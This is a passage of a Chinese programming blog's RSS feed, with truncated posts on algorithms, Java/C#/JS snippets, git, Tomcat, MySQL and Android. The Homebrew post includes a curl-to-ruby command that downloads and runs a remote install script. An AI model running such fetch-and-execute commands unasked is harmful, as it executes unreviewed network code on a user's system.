      <description>POJ4151 电影节 总时间限制:&#xA;1000ms&#xA;内存限制:&#xA;65536kB&#xA;描述：&#xA;大学生电影节在北大举办! 这天，在北大各地放了多部电影，给定每部电影的放映时间区间，区间重叠的电影不可能同时看（端点可以重合），问李雷最多可以看多少部电影。&#xA;输入：&#xA;多组数据。每组数据开头是n(n&amp;lt;=100)，表示共n场电影。&#xA;接下来n行，每行两个整数(0到1000之间)，表示一场电影的放映区间&#xA;n=0则数据结束&#xA;输出：&#xA;对每组数据输出最多能看几部电影&#xA;样例输入：&#xA;8&#xA;3 4&#xA;0 7&#xA;3 8&#xA;15 19&#xA;15 20&#xA;10 15&#xA;8 18&#xA;6 12&#xA;0&#xA;样例输出：&#xA;3&#xA;来源：&#xA;Guo Wei&#xA;题意分析： 由题目可知，要尽量看更多的电影，那么策略就是通过对电影时间进行某一种排序后，再进行贪心策略&#xA;下面给出两种方法： 方法一： 对电影结束时间进行从早到晚的排序，然后尽量选取结束早的电影看，以节省时间看后面的更多的电影。具体的操作方法是：对按结束时间排序后的电影从早到晚一个个遍历，若当前遍历到的这部电影的结束时间早于下一部电影的开始时间，则sum++（sum初始化为1，因为显然最少可以看一部电影），若当前遍历到的这部电影的结束时间完于下一部电影的开始时间，则看当前这部，不看下一部电影了（原因：对于重合的两场电影，当然选择结束早的，为后面留下更多的时间，这就是一种贪心思想）。 AC代码： // An highlighted block #include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; struct node { int begin,end;//记录开始时间和结束时间 }a[105]; int cmp(node a,node b) { return a.end&amp;lt;b.end;//按结束时间由小到大排序 } int main() { int t; while((cin&amp;gt;&amp;gt;t)&amp;amp;&amp;amp;(t!</description>
    </item>
    <item>
      <title>DRRN阅读笔记</title>
      <link>https://bchobby.github.io/posts/4499f4265f66fd75eb95b7dfa45d0ad6/</link>
      <pubDate>Mon, 10 Dec 2018 19:20:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4499f4265f66fd75eb95b7dfa45d0ad6/</guid>
      <description>DRRN：深度递归残差网络&#xA;1.介绍 本文提出了一种非常深的CNN模型（多达52个卷积层），称为深度递归残差网络（DRRN），它致力于深入而简洁的网络。 具体而言，采用残差学习，以减轻培训深层网络的难度; 递归学习用于控制模型参数，同时增加深度。 广泛的基准评估表明，DRRN明显优于SISR的最新技术水平，同时利用更少的参数。&#xA;主要有两个新颖点：&#xA;在VDSR和DRCN中应用的只是从输入到输出的全局残差学习（GRL），GRL主要可以降低训练深层网络的难度。DRRN中又添加了局部残差学习（LRL），可以减少经过深层网络后图像细节的丢失。（LRL每几个堆叠层就可以有一个而GRL只会有一个）关于残差单元的递归学习，可以使得模型更加紧凑。在DRCN中，递归层被学习并且权重在16个卷积递归层中分享。DRRN和DRCN有两个主要的区别：一是并不所有卷积层共享一个权重，DRRN拥有由数个残差单元组成的递归块，权重在这些残差单元中共享；二是DRRN通过设计具有多路径结构的递归块从梯度爆炸/消失的负担中解脱出来，可以很容易的训练，并且仅仅增加卷积深度而不添加参数就能提升准确度。 2.相关工作 以上是RESNET，VDSR,DRCN和DRRN的简略模型图&#xA;VDSR在残差分支有20个权重层，这也导致了更大的感受野，GRL以及可调节的梯度裁剪使VDSR收敛更快，并且可以处理不同缩放程度的图像。&#xA;DRCN添加了更多的权重层，引进了更多的参数。为了解决多参数导致的过拟合问题，DRCN应用了递归层，所以即使递归层中有再多的递归，模型的参数也不会增加。DRCN包括三部分：嵌入网，推断网和重塑网。推断网即递归层（有16层递归，共享w）。DRCN拥有梯度监管以及跳跃链接：&#xA;3.具体创新点介绍 首先如上图结构所示，ResNet在同一分支下应用了两次不同的x（第二次的x用的是第一次所得到的结果），而DRRN则在同一分支的两次残差学习中应用了相同的x，这样也促进了残差学习。&#xA;3.1 残差单元Residual Unit 残差单元的基本计算如下：&#xA;后来那个何教授提出了一种新的残差学习方式，即在权重层计算前先进行激活函数的计算，这样可以提高性能并使得网络更容易训练，具体公式如下：&#xA;本文作者又进行了进一步改良，使得identify branch 和residual branch的输入不同，就像第3节开头所说，对于在一个递归区内的所有identify branch的输入保持相同，结构如下图，&#xA;这样的结果是在我们的递归区内会有多条不同的路径，&#xA;residual path帮助学习高度复杂的特征，identity path则用来帮助训练时的梯度反向传播，与链模式相比，这种模式有利于学习，不容易过拟合，具体计算公式如下：&#xA;由于残差单元被递归学习，权重w在一个递归区中共享，但是在不同的递归区内不同。&#xA;3.2 递归区Recursive Block 递归区具体形状如上图Figure4.在递归区最初有一个conv层。然后加入数个3.1中所提到的残差单元。用B来表示递归区的数目，xb-1 和 xb 分别是第b个递归区的输入和输出，U是残差单元的数量，最后有公式（这里有点小理解问题，回头看）：&#xA;3.3 网络结构&#xA;DRRN的网络深度可以如下公式计算：&#xA;loss通过下式计算：&#xA;4.实验 总感觉实验没什么需要记的东西...&#xA;5.结论 在本文中，我们提出了深度递归残差网络（DRRN）的单图像超分辨率。 在DRRN中，在递归块中递归地学习增强的残差单元结构，并且我们堆叠若干递归块以学习HR和LR图像之间的残差图像。 然后将残差与从identity branch传来的LR图像相加来估计HR图像。 广泛的基准实验和分析表明，DRRN是SISR的深度，简洁和卓越的模型。</description>
    </item>
    <item>
      <title>最简单的XML读取、修改数据方法</title>
      <link>https://bchobby.github.io/posts/5b5312ee9a22fc1bc1852a6be4a3d881/</link>
      <pubDate>Mon, 10 Dec 2018 17:40:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b5312ee9a22fc1bc1852a6be4a3d881/</guid>
      <description>XML文件&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34; ?&amp;gt;&#xA;&amp;lt;root&amp;gt;&#xA;&amp;lt;SteriaSuccesstime&amp;gt;20181210&amp;lt;/SteriaSuccesstime&amp;gt;&#xA;&amp;lt;/root&amp;gt;&#xA;//获取XML中的节点数据&#xA;private string GetSuccessLocalModetime()&#xA;{&#xA;XmlDocument doc = new XmlDocument();&#xA;string successLocalModetime = string.Empty;&#xA;try&#xA;{&#xA;string path = Application.StartupPath + &#34;\\SteriaSuccesslocalModetime.xml&#34;;&#xA;if (System.IO.File.Exists(path))&#xA;{&#xA;doc.Load(path);&#xA;XmlNode xn = doc.SelectSingleNode(&#34;//SteriaSuccesstime&#34;);&#xA;successLocalModetime = xn.InnerText ?.ToString();&#xA;Logger.Write(&#34; GetSuccessLocalModetime() successLocalMpdetime = &#34; + successLocalModetime, &#34;BusinessEvents&#34;);&#xA;}&#xA;}&#xA;catch(Exception ex)&#xA;{&#xA;Logger.Write(&#34; GetSuccessLocalModetime() has error = &#34; + ex, &#34;BusinessEvents&#34;);&#xA;}&#xA;return successLocalModetime;&#xA;}&#xA;//修改XML中节点的值</description>
    </item>
    <item>
      <title>读取文件保存路径</title>
      <link>https://bchobby.github.io/posts/6b51c7fd5211918d794ee757c3031139/</link>
      <pubDate>Mon, 10 Dec 2018 16:16:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b51c7fd5211918d794ee757c3031139/</guid>
      <description>SystemSetting.json&#xA;[ { &#34;ADTD_INTERFACE_ADDRESS&#34;: &#34;http://17.2.6.1:8080/LightningDataInterface/service/adtd&#34;, &#34;UPLOAD_PATH&#34;:&#34;H:\\newworkspace\\flzhgl\\&#34;, &#34;WARNING_INTERFACE&#34;:&#34;&#34;, &#34;USERNAME&#34;:&#34;&#34;, &#34;PASSWORD&#34;:&#34;&#34; } ] SystemSetting.java&#xA;package cn.edu.cqu.flzhgl.json.ldjc; import java.io.UnsupportedEncodingException; import com.google.gson.Gson; import cn.edu.cqu.flzhgl.tools.ldjc.FileTools; /** * 系统配置信息 */ public class SystemSetting { private String ADTD_INTERFACE_ADDRESS; /** * 获取雷电数据接口地址 * @return */ public String get_ADTD_INTERFACE_ADDRESS() { try //获取系统设置 { String aString2=new FileTools().ReadFileAsString((new FileTools().GetProjectRootPath()+&#34;resources&#34;+System.getProperty(&#34;file.separator&#34;)+&#34;SystemSetting.json&#34;)); SystemSetting foo[] = new Gson().fromJson(aString2, SystemSetting[].class);//将json文本信息转换为对象 ADTD_INTERFACE_ADDRESS=foo[0].ADTD_INTERFACE_ADDRESS; } catch (UnsupportedEncodingException e) { // TODO Auto-generated catch block //e.printStackTrace(); } return ADTD_INTERFACE_ADDRESS; } } Service.</description>
    </item>
    <item>
      <title>Python、Java 集成Jenkins做自动化的记录</title>
      <link>https://bchobby.github.io/posts/7998e8d3f5be6847395c84b75690b9fe/</link>
      <pubDate>Mon, 10 Dec 2018 15:38:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7998e8d3f5be6847395c84b75690b9fe/</guid>
      <description>安装Virtualenv pip install virtualenv&#xA;pip install virtualenvwrapper # 这是对virtualenv的封装版本，一定要在virtualenv后安装&#xA;创建虚拟环境 选择一个用来存放虚拟环境的文件，如E:/python3&#xA;cd E:python3 # 进入该文件&#xA;virtualenv envname # 创建一个名字为envname的虚拟环境&#xA;dir # 查看当前目录可以知道一个envname的文件已经被创建&#xA;安装selenium pip install selenium&#xA;查看是否已经安装 pip show selenium&#xA;下载&#xA;Chromedriver 放到python的Scripts路径下 与selenium版本需要对应&#xA;编写代码测试：&#xA;#!/usr/bin/env python2&#xA;# -*- coding: utf-8 -*-&#xA;from selenium import webdriver # 导入webdriver包&#xA;driver = webdriver.Chrome()&#xA;driver.get(&#34;https://www.baidu.com&#34;)&#xA;启动虚拟环境 # 进入虚拟环境文件&#xA;cd envname&#xA;# 进入相关的启动文件夹&#xA;cd Scripts&#xA;activate # 启动虚拟环境&#xA;deactivate # 退出虚拟环境&#xA;配置脚本的环境变量&#xA;python_env=&#34;脚本路径&#34;，将%python_env%\ 添加到path后面</description>
    </item>
    <item>
      <title>Js实现中文排序，并根据拼音首字母分组</title>
      <link>https://bchobby.github.io/posts/464144b75147cf4e444511758d919b9e/</link>
      <pubDate>Mon, 10 Dec 2018 11:44:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/464144b75147cf4e444511758d919b9e/</guid>
      <description> Js实现中文排序，并根据拼音首字母分组&#xA;const pySegSort=(arr) =&amp;gt;{ if (!String.prototype.localeCompare) return null let letters = &#39;abcdefghjklmnopqrstwxyz&#39;.split(&#39;&#39;) let zh = &#39;阿八嚓哒妸发旮哈讥咔垃痳拏噢妑七呥扨它穵夕丫帀&#39;.split(&#39;&#39;) let segs = [] letters.map((item, i) =&amp;gt; { let cur = { letter: item, data: [] } arr.map((item) =&amp;gt; { if(item.localeCompare(zh[i])&amp;gt;=0&amp;amp;&amp;amp;item.localeCompare(zh[i+1])&amp;lt;0){ cur.data.push(item) } }) if (cur.data.length) { cur.data.sort(function(a, b) { return a.localeCompare(b, &#39;zh&#39;) }) segs.push(cur) } }) return segs } console.log(pySegSort([&#39;白案&#39;,&#39;百搭&#39;,&#39;白菜&#39;,&#39;百旺&#39;,&#39;王&#39;,&#39;李&#39;,&#39;张&#39;,&#39;刘&#39;,&#39;陈&#39;,&#39;杨&#39;,&#39;黄&#39;,&#39;吴&#39;,&#39;赵&#39;,&#39;周&#39;,&#39;的&#39;,&#39;徐&#39;,&#39;孙&#39;,&#39;马&#39;,&#39;朱&#39;,&#39;胡&#39;,&#39;林&#39;,&#39;郭&#39;,&#39;何&#39;,&#39;高&#39;,&#39;罗&#39;,&#39;&#39;,&#39;郑&#39;,&#39;梁&#39;,&#39;谢&#39;,&#39;宋&#39;,&#39;唐&#39;,&#39;许&#39;,&#39;邓&#39;,&#39;冯&#39;,&#39;韩&#39;,&#39;曹&#39;,&#39;曾&#39;,&#39;彭&#39;,&#39;白大&#39;,&#39;萧&#39;,&#39;蔡&#39;,&#39;F&#39;,&#39;潘&#39;,&#39;田&#39;,&#39;董&#39;,&#39;袁&#39;,&#39;于&#39;,&#39;余&#39;,&#39;&#39;,&#39;叶&#39;,&#39;蒋&#39;,&#39;杜&#39;,&#39;苏&#39;,&#39;魏&#39;,&#39;程&#39;,&#39;吕&#39;,&#39;丁&#39;,&#39;沈&#39;,&#39;任&#39;,&#39;白&#39;,&#39;卞&#39;])) </description>
    </item>
    <item>
      <title>基于安卓7.0和AccessibilityService自动抢单软件的总结和心得</title>
      <link>https://bchobby.github.io/posts/6a3243117ea3ce2c65f909643e5a0b6b/</link>
      <pubDate>Mon, 10 Dec 2018 10:48:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a3243117ea3ce2c65f909643e5a0b6b/</guid>
      <description>前言 这篇文章重点在于实现下拉和点击功能的思路，以及此次成功实现功能后的心得体会，其他方面的内容将简单描述，希望能对热爱开发一些实用性工具的开发者有所帮助。&#xA;开发环境准备 安卓开发环境Anstroid Studio和JDK，windows。&#xA;实现过程 AccessibilityService类的介绍和使用，直接百度搜索即可。在了解并注册了AccessibilityService服务类后，接下来的重点是在onAccessibilityEvent方法中实现具体的业务(例如我此次需要实现的抢单功能)。在onAccessibilityEvent方法中，有个AccessibilityEvent类型的参数，该类可以获取当前变动的类型（如页面的改变）。由于我是通过打开应用触发下拉和点击的功能的，因此监听的是 AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED 这一事件类型。接下来，我们可以通过findAccessibilityNodeInfosByText()方法获取当前应用界面上的UI节点，并通过该节点的performAction模拟点击效果。但是！难点就在于这里，这种获取节点的方法只限于普通的view（如TextView)，但是对于WebView下的节点这种方法是获取不到的。于是我在网上搜索了下，终于找到了一篇博客是关于如何使用AccessibilityService获取WebView内容的，网址：感谢作者繁星点点的分享。很感谢作者繁星点点的分享，这次写博客分享也是因为被他的分享精神所影响。OK，获取到WebView内容中的节点后，下一步是通过获取的节点进行点击事件的模拟。然而难点之二又来了！在WebView中的节点调用performAction方法模拟点击事件时，应用是没有反应的！&#xA;于是，在网上搜索一番后，得到了几种模拟点击的方法，此处再把他们进行对比一番，方便大家进行选择。&#xA;第一种是MotionEvent，但是需要获取到View对象并绑定，言外之意就是说，你只能在当前界面所属的应用程序内部获取View才能模拟。&#xA;第二种是使用ADB SHELL，此方法在模拟器上亲测可用，但是实际在手机上运行需要ROOT权限，对手机安全性会有影响。&#xA;第三种是Instrumentation，需要给予INJECT_EVENTS权限，但是始终会出现问题，详见此处 。&#xA;第四种是使用GestureDescription，无需ROOT即可实现点击和滑动，但是需要安卓7.0以上，估计这一条件对于大家来说应该不成问题。好了，获取WebView下的节点和模拟滑动这两个烫手芋头就已经解决了，其他的问题都不难解决。 心得 此次开发遇到的问题基本上是通过网上搜索相关案例得到解决的，在“山重水复疑无路”之后，通过网友们的热心分享，终于“柳暗花明又一村”了。因此，在开发完成后被他们的分享精神所影响，决定自己也写下博客，记录下比较困难的几个步骤，方便网友们后续在实现这些功能时，直接就可以获取到解决方法。</description>
    </item>
    <item>
      <title>git学习记录</title>
      <link>https://bchobby.github.io/posts/33792b847a28e10e430647d7e6d66484/</link>
      <pubDate>Sun, 09 Dec 2018 21:38:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33792b847a28e10e430647d7e6d66484/</guid>
      <description>git 学习笔记 git介绍1. 创建版本库2. 回退版本3. 工作区和暂存区4.管理修改5.撤销修改6.删除文件7.远程仓库7.1 添加远程库7.2 从远程库克隆 git介绍 git 学习参考lainxuefeng&#xA;1. 创建版本库 git init git add xxgit commit -m “xxx” git status git diffgit log&#xA;如果嫌输出信息太多，看得眼花缭乱的，可以试试加上–pretty=oneline参数： git log --pretty=oneline&#xA;需要友情提示的是，你看到的一大串类似db3976…的是commit id（版本号），和SVN不一样，Git的commit id不是1，2，3……递增的数字，而是一个SHA1计算出来的一个非常大的数字，用十六进制表示&#xA;2. 回退版本 首先，Git必须知道当前版本是哪个版本，在Git中，用HEAD表示当前版本，也就是最新的提交1094adb…（注意我的提交ID和你的肯定不一样），上一个版本就是HEAD，上上一个版本就是HEAD，当然往上100个版本写100个比较容易数不过来，所以写成HEAD~100。&#xA;git reset&#xA;回退到上一个版本，使用命令为：&#xA;git reset --hard HEAD^&#xA;想要回到 “command git checkout”&#xA;需要执行&#xA;git reset --hard 5730&#xA;回退到刚才被删除的节点&#xA;详解请参考廖雪峰版本回退2.2 git reflog&#xA;查看操作记录&#xA;现在总结一下：&#xA;HEAD指向的版本就是当前版本，因此，Git允许我们在版本的历史之间穿梭，使用命令git reset --hard commit_id。穿梭前，用git log可以查看提交历史，以便确定要回退到哪个版本。要重返未来，用git reflog查看命令历史，以便确定要回到未来的哪个版本 3. 工作区和暂存区 工作区（Working Directory）:本地能看到的目录版本库（Repository）&#xA;工作区有一个隐藏目录.git，这个不算工作区，而是Git的版本库。暂存区（statge)：Git的版本库里存了很多东西，其中最重要的就是称为stage（或者叫index）的暂存区，还有Git为我们自动创建的第一个分支master，以及指向master的一个指针叫HEAD。 我们把文件往Git版本库里添加的时候，是分两步执行的：</description>
    </item>
    <item>
      <title>个人网站有赞云支付接口申请方法</title>
      <link>https://bchobby.github.io/posts/779c2c6a1c662c6f9759551478a33529/</link>
      <pubDate>Sun, 09 Dec 2018 21:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/779c2c6a1c662c6f9759551478a33529/</guid>
      <description>网上有的网站用有赞来收款，但个人申请赞云支付接口会出现免费试用，主要是申请步骤错误。。。。。以下是有赞支付接口申请的步骤(个人免费)(按照下面的步骤来，否则可能不会免费)&#xA;1、手机扫码下载并安装“有赞微小店”APP。(电脑网页申请注册地址为：https://console.youzanyun.com/register，登录地址：https://console.youzanyun.com/login按步骤填写相关信息，与手机APP一样。)&#xA;个人网站有赞云支付接口申请方法http://www.lmlblog.com/336.html&#xA;转载于:https://www.cnblogs.com/lmlblogs/p/10093214.html</description>
    </item>
    <item>
      <title>IDEA部署tomcat时 部署路径的设置方式</title>
      <link>https://bchobby.github.io/posts/c794245a086a00bf61aa549590b7f464/</link>
      <pubDate>Sat, 08 Dec 2018 16:21:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c794245a086a00bf61aa549590b7f464/</guid>
      <description>在idea部署时会改变tomcat 的catalina.base的路径，以本机（mac）为例，catalina.base的路径为：&#xA;/Users/uc/Library/Caches/IntelliJIdea2018.2/tomcat/Unnamed_servletDemo 此目录下包含配置信息，其中server.xml的片段为:&#xA;&amp;lt;Host name=&#34;localhost&#34; appBase=&#34;/Users/uc/program/apache-tomcat-9.0.11/webapps&#34; unpackWARs=&#34;true&#34; autoDeploy=&#34;true&#34; deployOnStartup=&#34;false&#34; deployIgnore=&#34;^(?!(manager)|(tomee)$).*&#34;&amp;gt; 可以看到deployIgnore中会忽略大部分的文件，而在配置目录的子目录：Catalina/localhost 中包含一个ROOT.xml文件，此文件信息如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;Context path=&#34;&#34; docBase=&#34;/Users/uc/project/servletDemo/target/servletDemo&#34; /&amp;gt; 可以看到docBase正式指向了idea中当前的项目所在路径。&#xA;ps:&#xA;一般tomcat部署一个应用有3种方式：&#xA;1.最常用的方式，是把它放到catalina.home的webapps下面去，但是这种方式太过死板。&#xA;2.在server.xml的host标签下，添加&amp;lt;Context docBase=&#34;F:/aa&#34; reloadable=&#34;false&#34; path=&#34;/aa&#34;/&amp;gt; 3.也就是上面的方式通过在Catalina/localhost目录下，添加一个配置文件来部署指定位置的应用。（文件的名字如果不是ROOT.xml，则文件名代表访问路径，也就是 path。</description>
    </item>
    <item>
      <title>数组：添加删除修改  splice() 和 slice()</title>
      <link>https://bchobby.github.io/posts/b7f164a98319caefce0111133f9a5014/</link>
      <pubDate>Fri, 07 Dec 2018 17:24:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7f164a98319caefce0111133f9a5014/</guid>
      <description>1、splice() ：直接对数组进行修改&#xA;arrayObject.splice(index,howmany,item1,.....,itemX) index: 必需。整数，规定添加/删除项目的位置，使用负数可从数组结尾处规定位置。 howmany： 必需。要删除的项目数量。如果设置为 0，则不会删除项目。 item1, ..., itemX： 可选。向数组添加的新项目。 - splice() 方法可删除从 index 处开始的零个或多个元素，并且用参数列表中声明的一个或多个值来替换那些被删除的元素。 ps： 如果从 arrayObject 中删除了元素，则返回的是含有被删除的元素的数组。 Demo：&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; var arr = new Array(6) arr[0] = &#34;George&#34; arr[1] = &#34;John&#34; arr[2] = &#34;Thomas&#34; arr[3] = &#34;James&#34; arr[4] = &#34;Adrew&#34; arr[5] = &#34;Martin&#34; document.write(arr + &#34;&amp;lt;br /&amp;gt;&#34;) arr.splice(2,3,&#34;William&#34;) // 删除arr[2]开始的3个元素，并添加&#34;William&#34;补充在之前掉删除的部分 document.write(arr) // George,John,Thomas,James,Adrew,Martin // George,John,William,Martin &amp;lt;/script&amp;gt; 2、slice() ： 返回一个新的数组&#xA;arrayObject.slice(start,end) start： 必需。规定从何处开始选取。如果是负数，那么它规定从数组尾部开始算起的位置。也就是说，-1 指最后一个元素，-2 指倒数第二个元素，以此类推。 end： 可选。规定从何处结束选取。该参数是数组片断结束处的数组下标。如果没有指定该参数，那么切分的数组包含从 start 到数组结束的所有元素。如果这个参数是负数，那么它规定的是从数组尾部开始算起的元素。 Demo:</description>
    </item>
    <item>
      <title>绝对定位position:absolute；实现居中对齐</title>
      <link>https://bchobby.github.io/posts/72266f7b077cbd400d1d30cad576f162/</link>
      <pubDate>Fri, 07 Dec 2018 17:16:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72266f7b077cbd400d1d30cad576f162/</guid>
      <description>源码：&#xA;&amp;lt;!doctype html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;练习的地方&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .main { position: absolute; width: 700px; height: 500px; background: pink; left: 50%; //起始是在body中，横向距左50%的位置 top:50%; //起始是在body中，纵向距上50%的位置，这个点相当于body的中心点，div的左上角的定位 transform:translate(-50%,-50%);//水平、垂直都居中,也可以写成下面的方式 /*margin-left:-350px; margin-top:-250px;*/ } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;main&#34;&amp;gt;第1个固定&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 定位效果： 最终效果：</description>
    </item>
    <item>
      <title>【Mac OS】brew的安装和使用</title>
      <link>https://bchobby.github.io/posts/a31a859048f82a7a40e1fcba8955d8d6/</link>
      <pubDate>Fri, 07 Dec 2018 11:52:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a31a859048f82a7a40e1fcba8955d8d6/</guid>
      <description>Homebrew是一款Mac OS上的软件包管理工具，通过它可以很方便的安装/卸载软件工具等，类似于Linux下的apt-get，node的npm等包管理工具。&#xA;Homebrew将工具安装在自己创建的/usr/local/Cellar目录下，并在/usr/local/bin建立这些工具的符号链接。&#xA;安装brew 打开终端，执行下面的命令。&#xA;/usr/bin/ruby -e “$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)” Mac OS默认安装了ruby，通过ruby可以成功安装Homebrew。&#xA;使用命令 通用类 brew search [TEXT|/REGEX/] 搜索软件 brew (info|home|options) [FORMULA…] 查询软件信息 brew install FORMULA… 安装软件 brew update 更新brew和所有软件包 brew upgrade [FORMULA…] 更新软件包 brew uninstall FORMULA… 卸载软件包 brew list [FORMULA…] 罗列所有已安装的软件包 brew outdated 查看哪些软件包需要更新 brew deps FORMULA 显示包依赖 帮助类 man brew 查询brew命令的使用手册 brew help [COMMAND 查询brew子命令的使用帮助，如brew help search 排查类 brew config 查看brew的全局配置 brew doctor 检查系统的潜在问题 brew install -vd FORMULA 安装软件包打印详细信息，并开启debug功能。 开发者类 brew create [URL [—no-fetch]] 创建软件包 brew edit [FORMULA…] 编辑软件包源码 更多命令使用查看文档：https://docs.</description>
    </item>
    <item>
      <title>android 简单的贪吃蛇小游戏</title>
      <link>https://bchobby.github.io/posts/aceb2baf93a8cca5e2f3cb2d8ff6d7c4/</link>
      <pubDate>Thu, 06 Dec 2018 16:10:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aceb2baf93a8cca5e2f3cb2d8ff6d7c4/</guid>
      <description>贪吃蛇是一款经典的小游戏，游戏比较简单，实现也比较简单。&#xA;本篇博客将详细介绍我自己写的贪吃蛇的思路以及实现方式。&#xA;首先我们需要在游戏界面将游戏区域划分成无数个小方格，类似下图&#xA;画布（游戏区域）的宽为 width 高为 height ，列数 sizex=width/pointSize ,行数 sizey=height/pointSize. 由于画布的长宽不一定是pointSize的整数倍，所以为了所有的数据居中需要设置 x轴 y轴的偏移量（当前貌似偏移量可有可无，本人强迫症一定要加上），offsetX=（width - sizex*pointSize）/ 2，offsetY=(height - sizey*pointSize) / 2.&#xA;新建数组 spoints=new int[ sizex ][ sizey ] 用于保存方格矩阵 其中 spoints[x][y]==1说明该点属于当前小蛇身体的一部分, spoints[x][y]==0则表示小蛇当前未运动到此点。&#xA;新建 ArrayList&amp;lt;Point&amp;gt; points=new ArrayList&amp;lt;Point&amp;gt;(); 用于保存小蛇的身体的所有节点（points 中的 所有point的x,y对应的是 spoints数组的所有值为1的点的下标），points.get(0) 为头部坐标点，最后一个为尾部坐标点&#xA;上面两幅图片代表的意思相同，都表示小蛇的当前状态（小蛇画的比较丑，请见谅）&#xA;下面开始考虑的小蛇的移动，小蛇的移动可以看成是将小蛇的尾巴的移动到小蛇的头部（根据方向判断移动的上下左右位置），其他的节点保持不动，见图示&#xA;得到下图运动后的状态&#xA;然后修改spoints数组对应的坐标的值，新增的头部对应的值修改为 1，移除的尾部的值修改为 0. 并将对应的坐标点加入points链表的对应位置，移除尾部的坐标点&#xA;解决了小蛇的移动问题，再来解决小蛇吃食物点的问题。&#xA;当小蛇吃到食物的时候，相当于将食物的点当成新的头部，而尾部不变，这样就相当于吃了之后变长了&#xA;这样就完成了小蛇的增长。&#xA;没有代码那就是耍流氓！！下面开始贴代码&#xA;git代码下载: 贪吃蛇 https://gitee.com/wuchang0213/TCS.git&#xA;csdn下载：https://download.csdn.net/download/weixin_41191134/10832869&#xA;再提供一个数独小游戏的下载：https://download.csdn.net/download/weixin_41191134/10832903&#xA;只贴了要的游戏界面的代码&#xA;public class TcsView extends View { private Paint paint; //小蛇的组成点 private ArrayList&amp;lt;Point&amp;gt; points=new ArrayList&amp;lt;Point&amp;gt;(); private Point pointFood=new Point();//食物点 //游戏界面的 方格划分 private int[][] spoints; //方格数组的大小 private int sizex; private int sizey; //小蛇的头部对应在数组中的位置 private int headerX; private int headerY; //食物的坐标点 private int foodX; private int foodY; //偏移量 private int offsetX=0; private int offsetY=0; //随机数 private Random random=new Random(); private boolean isStart=true; //屏幕宽高 private int width; private int height; //小蛇方块的大小 private int pointSize=20; //方向 private int direction=0;// 0 上 -1 下 1 左 2 右 //触摸点坐标 private float tdx; private float tdy; private boolean isStop=false; private TcsScoreListener tcsScoreListener; private Handler handler=new Handler(new Handler.</description>
    </item>
    <item>
      <title>H5页面监听Android物理返回键</title>
      <link>https://bchobby.github.io/posts/d676c2e06d8c7af46f19abb90cb1a6a7/</link>
      <pubDate>Thu, 06 Dec 2018 12:28:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d676c2e06d8c7af46f19abb90cb1a6a7/</guid>
      <description>Android物理返回键的点击事件，一般webview的默认行为是 window.history.go(-1) ，但是在实际需求场景下，简单的页面回退并不能满足需求，所以需要H5页面监听Android物理返回键从而自定义处理方法。&#xA;本方案的代码都在 h5_android_back 仓库中&#xA;原理 主要是运用 HTML5 History API 实现。所以，首先简单介绍下 HTML5 History API&#xA;HTML5 History API history 属性 history.length history.state 复制代码 history 方法 history.back() history.forward() history.go() 复制代码 HTML5 新API history.pushState(state, title, url); 添加一条历史记录，不刷新页面 history.replaceState(state, title, url); 替换一条历史记录，不刷新页面 事件 popState事件：历史记录发生变化时触发，调用history.pushState()或history.replaceState()不会触发此事件 window.addEventListener(&#39;popstate&#39;, handlePopstate); 复制代码 hashchange事件：页面hash值发生改变时触发 window.addEventListener(&#39;hashchange&#39;, handleHashChange); 复制代码 监听Android物理返回键实现 // index.js (function (pkg) { var STATE = &#39;_android_back&#39;; // 维护处理方法的栈 var _android_back_handles = []; // 触发一次popstate方法，则调用最新处理方法 var handlePopstate = function () { var handle = _android_back_handles.</description>
    </item>
    <item>
      <title>【MySQL】多表查询、分组求和、并对和排序、取top n</title>
      <link>https://bchobby.github.io/posts/ddebc60054ae1554a78506d5fb18231b/</link>
      <pubDate>Wed, 05 Dec 2018 21:59:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddebc60054ae1554a78506d5fb18231b/</guid>
      <description>查漏补缺MySQL的相关知识 1. 有一个用户资金流水表（如上的sql代码），找出流水金额最多的前10个用户：2. 查询分组后的最大值，最小值所在的整行记录或者分组后的top n行的记录。3.TOP 14.TOP N5.LEFT JOIN后面的on和where的区别 1. 有一个用户资金流水表（如上的sql代码），找出流水金额最多的前10个用户： create table tb_user_finance ( id bigint primary key auto_increment, uid bigint not null default 0 comment &#39;用户id&#39;, money decimal(10, 2) not null default 0.00 comment &#39;资金流水&#39;, type tinyint not null default 0 comment &#39;1: 转账, 10: 提现, 20: 充值&#39;, created_at timestamp not null default current_timestamp, updated_at timestamp not null default current_timestamp on update current_timestamp, key ix_uid (uid) ) engine = innodb default charset=utf8 comment &#39;用户资金流水表&#39;; insert into tb_user_finance (uid, money, type) values(10, 20, 1); insert into tb_user_finance (uid, money, type) values(10, 20, 1); insert into tb_user_finance (uid, money, type) values(10, 20, 1); insert into tb_user_finance (uid, money, type) values(10, 200, 1); insert into tb_user_finance (uid, money, type) values(20, 10, 10); insert into tb_user_finance (uid, money, 